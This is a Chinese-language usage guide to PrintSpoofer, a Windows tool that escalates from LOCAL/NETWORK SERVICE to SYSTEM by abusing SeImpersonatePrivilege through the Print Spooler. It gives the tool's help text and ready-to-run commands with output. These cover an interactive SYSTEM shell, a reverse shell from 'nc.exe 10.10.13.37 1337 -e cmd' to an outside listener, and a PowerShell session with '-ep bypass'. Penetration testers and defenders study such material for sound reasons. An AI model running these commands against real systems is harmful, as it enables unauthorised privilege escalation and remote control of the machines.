通过滥用 SeImpersonatePrivilege 从 LOCAL/NETWORK SERVICE 提升至 SYSTEM,适用于 Windows 10 和 Server 2016/2019。
更多信息:https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/。
你可以使用 -h 选项查看帮助信息。
C:\TOOLS>PrintSpoofer.exe -h
PrintSpoofer v0.1 (by @itm4n)
Provided that the current user has the SeImpersonate privilege, this tool will leverage the Print
Spooler service to get a SYSTEM token and then run a custom command with CreateProcessAsUser()
Arguments:
-c <CMD> Execute the command *CMD*
-i Interact with the new process in the current command prompt (default is non-interactive)
-d <ID> Spawn a new process on the desktop corresponding to this session *ID* (check your ID with qwinsta)
-h That's me :)
Examples:
- Run PowerShell as SYSTEM in the current console
PrintSpoofer.exe -i -c powershell.exe
- Spawn a SYSTEM command prompt on the desktop of the session 1
PrintSpoofer.exe -d 1 -c cmd.exe
- Get a SYSTEM reverse shell
PrintSpoofer.exe -c "c:\Temp\nc.exe 10.10.13.37 1337 -e cmd"
如果你拥有一个 交互式 shell,你可以在当前控制台中创建一个新的 SYSTEM 进程。
使用场景:绑定 shell、反向 shell、psexec.py 等。
C:\TOOLS>PrintSpoofer.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19613.1000]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
nt authority\system
如果你能够 执行命令 但没有交互式 shell,你可以创建一个新的 SYSTEM 进程并立即退出,无需与其交互。
使用场景:WinRM、WebShell、wmiexec.py、smbexec.py 等。
创建反向 shell:
C:\TOOLS>PrintSpoofer.exe -c "C:\TOOLS\nc.exe 10.10.13.37 1337 -e cmd"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Netcat 监听器:
C:\TOOLS>nc.exe -l -p 1337
Microsoft Windows [Version 10.0.19613.1000]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
nt authority\system
如果你是 本地登录或通过 RDP 登录(包括 VDI),你可以在桌面上生成一个 SYSTEM 命令提示符。首先,使用命令 qwinsta 检查你的会话 ID,然后使用选项 -d 指定该值。
使用场景:终端会话(RDP)、VDI
C:\TOOLS>qwinsta
SESSIONNAME USERNAME ID STATE TYPE DEVICE
services 0 Disc
console Administrator 1 Active
>rdp-tcp#3 lab-user 3 Active
rdp-tcp 65536 Listen
C:\TOOLS>PrintSpoofer.exe -d 3 -c "powershell -ep bypass"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK